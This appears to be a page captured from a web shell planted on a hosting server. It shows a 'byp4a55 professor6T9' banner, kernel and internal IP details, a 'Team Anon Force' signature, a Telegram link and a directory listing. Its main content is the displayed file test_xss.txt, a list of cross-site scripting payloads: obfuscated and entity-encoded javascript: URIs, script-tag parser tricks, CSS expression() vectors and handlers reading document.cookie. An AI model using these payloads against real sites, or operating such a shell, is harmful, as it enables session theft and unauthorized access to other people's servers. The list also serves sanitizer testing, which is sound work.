byp4a55 professor6T9

Linux world-400.fr.planethoster.net 4.18.0-425.13.1.lve.el7h.x86_64 #1 SMP Mon Feb 27 14:44:55 UTC 2023 x86_64
Apache
10.195.0.10

test_xss.txt

<!DOctYPe HtMl>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HtmL>
<head>
<BASE HREF="javascript:alert('XSS');//">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
</head>
<BODY BACKGROUND="javascript:alert('XSS')" onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Plain text

<SCRIPT SRC=xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=java&#00;script:alert("XSS")>
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="xss.js"></SCRIPT>
<SCRIPT/SRC="xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=xss.js?< B >
</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
</li></ul>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="xss.css">
<STYLE>@import'xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">

<XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

<
ScRiPt SrC  = "xss.jpg"

""
><
/

sCrIpT
/bogus
>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

<SCRIPT a=">" SRC="xss.js"></SCRIPT>
<SCRIPT =">" SRC="xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="xss.js"></SCRIPT>

< fakevoid  onload="return
confirm('Wanna give me your password?');"  /
>
<script type="text/javascript">
document.write('<p>Don\'t include me!</p>');
document.write('<script></script>');
document.write('<p>But include me!</p>');
//document.write('< /
script bogus
>
<p class=" otherclass allowedclass otherclass2  ">Also include me!</p>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	pluszzsu/pluszzsu	0755	2023-06-18 12:00:23
..	dir	-	pluszzsu/pluszzsu	0755	2023-06-18 12:00:11
test_interactive.php	text/x-php	2.79 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_suite.php	text/x-php	21.83 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_web_server.php	text/x-php	6.01 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_websocket_client.php	text/x-php	1.71 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_websocket_server.php	text/x-php	3.26 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_word.txt	text/html	38.83 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52
test_xss.txt	text/html	4.94 KB	pluszzsu/pluszzsu	0644	2019-05-10 12:28:52

Team Anon Force

https://t.me/Professor6T9x